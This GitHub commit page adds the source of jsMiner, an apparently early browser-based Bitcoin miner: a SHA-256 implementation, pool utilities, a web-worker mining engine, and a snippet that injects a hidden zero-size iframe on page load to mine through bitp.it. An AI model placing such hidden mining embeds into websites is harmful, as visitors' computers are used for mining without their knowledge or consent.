forked from jwhitehorn/jsMiner
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
initial add of the jsMiner source itself
- Loading branch information
1 parent
4769f25
commit 363aeea
Showing
5 changed files
with
393 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
function addLoadEvent(fun) { | ||
if (window.attachEvent) window.attachEvent('onload', fun); | ||
else if (window.addEventListener) window.addEventListener('load', fun, false); | ||
else document.addEventListener('load', fun, false); | ||
} | ||
|
||
function bitpit(params) { | ||
addLoadEvent(function() { | ||
var url = "http://api.bitp.it/mine?"; | ||
for(var name in params){ | ||
url = url + name + "=" + params[name] + "&"; | ||
} | ||
var frame = document.createElement("iframe"); | ||
frame.setAttribute("src", url); | ||
frame.setAttribute("name", "bitpit") | ||
frame.setAttribute("style", "display: none;"); | ||
frame.setAttribute("height", "0"); | ||
frame.setAttribute("width", "0"); | ||
document.body.appendChild(frame); | ||
}); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,184 @@ | ||
/* Copyright 2011, see LICENSE for details */ | ||
|
||
jsMiner.engine = function(options){ | ||
this.publisherId = ""; | ||
this.delayBetweenNonce = 30; | ||
this.sha = new Sha256(); | ||
this.hashRate = 0; | ||
this.workerRunning = false; | ||
this.forceUIThread = false; | ||
this.autoStart = true; | ||
this.workerTimeout = 30; | ||
|
||
if(options){ | ||
if (options.hasOwnProperty("clientId")) | ||
this.clientId = options.clientId; | ||
if (options.hasOwnProperty("delay")) | ||
this.delayBetweenNonce = options.delay; | ||
if (options.hasOwnProperty("forceUIThread")) | ||
this.forceUIThread = options.forceUIThread; | ||
if (options.hasOwnProperty("autoStart")) | ||
this.autoStart = options.autoStart; | ||
if (options.hasOwnProperty("workerTimeout")) | ||
this.workerTimeout = options.workerTimeout; | ||
} | ||
|
||
this.loadMoreWork = function(result){ | ||
var url = "/work?client_id=" + this.clientId; | ||
if(this.hashRate > 0){ | ||
url = url + "&hash_rate=" + this.hashRate; | ||
} | ||
var me = this; | ||
var httpRequest; | ||
if(window.XDomainRequest){ //IE8+ | ||
httpRequest = new XDomainRequest(); | ||
httpRequest.onload = function(response){ | ||
me.handleGetWorkResponse(httpRequest.responseText); | ||
}; | ||
}else if (window.XMLHttpRequest) { // Everybody else | ||
httpRequest = new XMLHttpRequest(); | ||
httpRequest.onreadystatechange = function(response){ | ||
try{ | ||
if(httpRequest.readyState == 4){ | ||
if(httpRequest.status == 200){ | ||
me.handleGetWorkResponse(httpRequest.responseText); | ||
}else{ | ||
setTimeout(3000, function(){ loadMoreWork(result) }); | ||
} | ||
} | ||
}catch(e){ | ||
setTimeout(3000, function(){ loadMoreWork(result) }); | ||
} | ||
}; | ||
} else { /* you're fucked! */} | ||
|
||
if(!httpRequest) | ||
return; | ||
|
||
if(!result){ | ||
httpRequest.open('GET', url); | ||
httpRequest.send(); | ||
}else{ | ||
httpRequest.open('POST', url); | ||
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); | ||
httpRequest.send(jsMiner.Util.toPoolString(result)); | ||
} | ||
}; | ||
|
||
this.handleGetWorkResponse = function(response){ | ||
var work = eval("(" + response + ")"); | ||
var midstate = jsMiner.Util.fromPoolString(work.midstate); | ||
var half = work.data.substring(0, 128); | ||
var data = work.data.substring(128, 256); | ||
data = jsMiner.Util.fromPoolString(data); | ||
half = jsMiner.Util.fromPoolString(half); | ||
var hash1 = jsMiner.Util.fromPoolString(work.hash1); | ||
var target = jsMiner.Util.fromPoolString(work.target); | ||
|
||
this.workerEntry(midstate, half, data, hash1, target, work.first_nonce, work.last_nonce); | ||
}; | ||
|
||
this.webWorkerEntry = function(midstate, half, data, hash1, target, startNonce, endNonce){ | ||
var me = this; | ||
var startTime = (new Date()).getTime() ; | ||
if(!this.webWorker){ | ||
this.webWorker = new Worker('jsMiner.js'); | ||
} | ||
this.webWorker.onmessage = function(event) { | ||
var stopTime = (new Date()).getTime() ; | ||
me.workerRunning = false; | ||
me.hashRate = (event.data.lastNonce - startNonce) / (stopTime - startTime) * 1000; | ||
me.loadMoreWork(event.data.data); | ||
}; | ||
this.webWorker.postMessage({ | ||
midstate: midstate, | ||
half: half, | ||
data: data, | ||
hash1: hash1, | ||
target: target, | ||
startNonce: startNonce, | ||
endNonce: endNonce, | ||
pubId: this.publisherId, | ||
timeout: this.workerTimeout | ||
}); | ||
}; | ||
|
||
this.workerEntry = function(midstate, half, data, hash1, target, startNonce, endNonce){ | ||
if(!!window.Worker && !this.forceUIThread){ | ||
this.webWorkerEntry(midstate, half, data, hash1, target, startNonce, endNonce); | ||
return; | ||
} | ||
var nonce = startNonce; | ||
var delay = this.delayBetweenNonce; | ||
var me = this; | ||
var startTime = (new Date()).getTime() ; | ||
var endTime = startTime + this.workerTimeout * 1000; | ||
this.workerRunning = true; | ||
|
||
var workerDone = function(result){ | ||
var stopTime = (new Date()).getTime() ; | ||
me.workerRunning = false; | ||
me.hashRate = (nonce - startNonce) / (stopTime - startTime) * 1000; | ||
me.loadMoreWork(result); | ||
}; | ||
|
||
function worker(){ | ||
|
||
for(var i = 0; i != 100 && nonce < endNonce; i++){ | ||
var hash = me.tryHash(midstate, half, data, hash1, target, nonce); | ||
if(hash != null){ | ||
workerDone(hash); | ||
return; | ||
} | ||
nonce++; | ||
} | ||
if(nonce++ < endNonce && (new Date()).getTime() <= endTime) | ||
setTimeout(worker, delay); | ||
else | ||
workerDone(null); | ||
}; | ||
setTimeout(worker, delay); | ||
}; | ||
|
||
this.tryHash = function(midstate, half, data, hash1, target, nonce){ | ||
data[3] = nonce; | ||
this.sha.reset(); | ||
|
||
var h0 = this.sha.update(midstate, data).state; // compute first hash | ||
for (var i = 0; i < 8; i++) hash1[i] = h0[i]; // place it in the h1 holder | ||
this.sha.reset(); // reset to initial state | ||
var h = this.sha.update(hash1).state; // compute final hash | ||
if (h[7] == 0) { | ||
var ret = []; | ||
for (var i = 0; i < half.length; i++) | ||
ret.push(half[i]); | ||
for (var i = 0; i < data.length; i++) | ||
ret.push(data[i]); | ||
return ret; | ||
} else return null; | ||
}; | ||
|
||
//bootstrap | ||
if(this.autoStart) | ||
this.loadMoreWork(); | ||
} | ||
|
||
if (typeof window == "undefined"){ | ||
//then the code is running in a web worker. | ||
self.onmessage = function(event) { | ||
var startTime = (new Date()).getTime() ; | ||
var endTime = startTime + event.data.timeout * 1000; | ||
var engine = new jsMiner.engine({pubId: event.data.pubId, autoStart: false}); | ||
for(var nonce = event.data.startNonce; nonce != event.data.endNonce; nonce++){ | ||
var result = engine.tryHash(event.data.midstate, event.data.half, event.data.data, event.data.hash1, event.data.target, nonce); | ||
if(result){ | ||
postMessage({data: result, lastNonce: nonce}); | ||
return; | ||
}else if(nonce % 100 && (new Date()).getTime() >= endTime){ | ||
postMessage({data: null, lastNonce: nonce}); | ||
return; | ||
} | ||
} | ||
postMessage({data: null, lastNonce: event.data.endNonce}); | ||
}; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
<html> | ||
<head> | ||
<script type="text/javascript" src="/jsMiner.js"></script> | ||
<script type="text/javascript"> | ||
var params = {}; | ||
var queryString = window.location.search.substring(1); | ||
var vars = queryString.split("&"); | ||
for(var i = 0; i != vars.length; i++){ | ||
if(vars[i].indexOf("=") != -1){ | ||
var pair = vars[i].split("="); | ||
params[pair[0]] = pair[1]; | ||
} | ||
} | ||
var engine = new jsMiner.engine(params); | ||
</script> | ||
</head> | ||
<body> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,111 @@ | ||
/* Copyright 2011, see LICENSE for details */ | ||
|
||
Sha256 = function(init, data) { | ||
|
||
var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, | ||
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, | ||
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, | ||
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, | ||
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, | ||
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, | ||
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, | ||
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]; | ||
|
||
var H = [0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]; | ||
|
||
var add = function (x, y) { | ||
var lsw = (x & 0xFFFF) + (y & 0xFFFF); | ||
var msw = (x >> 16) + (y >> 16) + (lsw >> 16); | ||
return (msw << 16) | (lsw & 0xFFFF); | ||
}; | ||
|
||
var add_all = function() { | ||
var sum = arguments[0]; | ||
for (var i = 1; i < arguments.length; i++) | ||
sum = add(sum, arguments[i]); | ||
return sum; | ||
}; | ||
|
||
var set_state = function(target, source) { | ||
for (var i = 0; i < 8; i++) | ||
target[i] = source[i]; | ||
}; | ||
|
||
var extend_work = function(work, w) { | ||
for (var i = 0; i < 16; i++) | ||
work[i] = w[i]; | ||
w = work; | ||
for (var i = 16; i < 64; i++) { | ||
var s0 = rotr(w[i - 15], 7) ^ rotr(w[i - 15], 18) ^ shr(w[i - 15], 3); | ||
var s1 = rotr(w[i - 2], 17) ^ rotr(w[i - 2], 19) ^ shr(w[i - 2], 10); | ||
w[i] = add_all(w[i-16], s0, w[i-7], s1); | ||
} | ||
return w; | ||
}; | ||
|
||
var rotr = function(x, n) { | ||
return (x >>> n) | (x << (32 - n)); | ||
}; | ||
|
||
var shr = function(x, n) { | ||
return (x >>> n); | ||
}; | ||
|
||
this.state = [0,0,0,0,0,0,0,0]; | ||
set_state(this.state, H); | ||
|
||
this.work = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, | ||
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, | ||
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, | ||
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; | ||
|
||
this.hex = function() { | ||
return jsMiner.Util.uint32_array_to_hex(this.state); | ||
}; | ||
|
||
this.reset = function() { | ||
set_state(this.state, H); | ||
return this; | ||
}; | ||
|
||
this.update = function(init, data) { | ||
if (!data) { data = init; init = null; } | ||
if (typeof(init) == 'string') | ||
init = jsMiner.Util.hex_to_uint32_array(init); | ||
if (init) set_state(this.state, init); | ||
if (typeof(data) == 'string') | ||
data = jsMiner.Util.hex_to_uint32_array(data); | ||
|
||
var w = extend_work(this.work, data); | ||
var s = this.state; | ||
var a = s[0], b = s[1], c = s[2], d = s[3], | ||
e = s[4], f = s[5], g = s[6], h = s[7]; | ||
for (var i = 0; i < 64; i++) { | ||
var s0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22); | ||
var maj = (a & b) ^ (a & c) ^ (b & c); | ||
var t2 = add(s0, maj); | ||
var s1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25); | ||
var ch = (e & f) ^ ((~e) & g); | ||
var t1 = add_all(h, s1, ch, K[i], w[i]); | ||
h = g; g = f; f = e; | ||
e = add(d, t1); | ||
d = c; c = b; b = a; | ||
a = add(t1, t2); | ||
} | ||
s[0] = add(s[0], a); | ||
s[1] = add(s[1], b); | ||
s[2] = add(s[2], c); | ||
s[3] = add(s[3], d); | ||
s[4] = add(s[4], e); | ||
s[5] = add(s[5], f); | ||
s[6] = add(s[6], g); | ||
s[7] = add(s[7], h); | ||
return this; | ||
}; | ||
|
||
if (init) this.update(init, data); | ||
}; | ||
|
||
var module; | ||
module = module || {}; | ||
module.exports = Sha256; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
/* Copyright 2011, see LICENSE for details */ | ||
|
||
if (typeof(jsMiner) == 'undefined') | ||
var jsMiner = {}; | ||
|
||
jsMiner.Util = { | ||
hex_to_uint32_array: function(hex) { | ||
var arr = []; | ||
for (var i = 0, l = hex.length; i < l; i += 8) { | ||
arr.push(parseInt(hex.substring(i, i+8), 16)); | ||
} | ||
return arr; | ||
}, | ||
|
||
uint32_array_to_hex: function(arr) { | ||
var hex = ''; | ||
for (var i = 0; i < arr.length; i++) { | ||
hex += jsMiner.Util.byte_to_hex(arr[i] >>> 24); | ||
hex += jsMiner.Util.byte_to_hex(arr[i] >>> 16); | ||
hex += jsMiner.Util.byte_to_hex(arr[i] >>> 8); | ||
hex += jsMiner.Util.byte_to_hex(arr[i] ); | ||
} | ||
return hex; | ||
}, | ||
|
||
byte_to_hex: function(b) { | ||
var tab = '0123456789abcdef'; | ||
b = b & 0xff; | ||
return tab.charAt(b / 16) + | ||
tab.charAt(b % 16); | ||
}, | ||
|
||
reverseBytesInWord: function(w) { | ||
return ((w << 24) & 0xff000000) | | ||
((w << 8) & 0x00ff0000) | | ||
((w >>> 8) & 0x0000ff00) | | ||
((w >>> 24) & 0x000000ff); | ||
}, | ||
|
||
reverseBytesInWords: function(words) { | ||
var reversed = []; | ||
for(var i = 0; i < words.length; i++) | ||
reversed.push(jsMiner.Util.reverseBytesInWord(words[i])); | ||
return reversed; | ||
}, | ||
|
||
fromPoolString: function(hex) { | ||
return jsMiner.Util.reverseBytesInWords(jsMiner.Util.hex_to_uint32_array(hex)); | ||
}, | ||
|
||
toPoolString: function(data) { | ||
return jsMiner.Util.uint32_array_to_hex(jsMiner.Util.reverseBytesInWords(data)); | ||
} | ||
}; | ||
|
||
var module; | ||
module = module || {}; | ||
module.exports = jsMiner.Util; |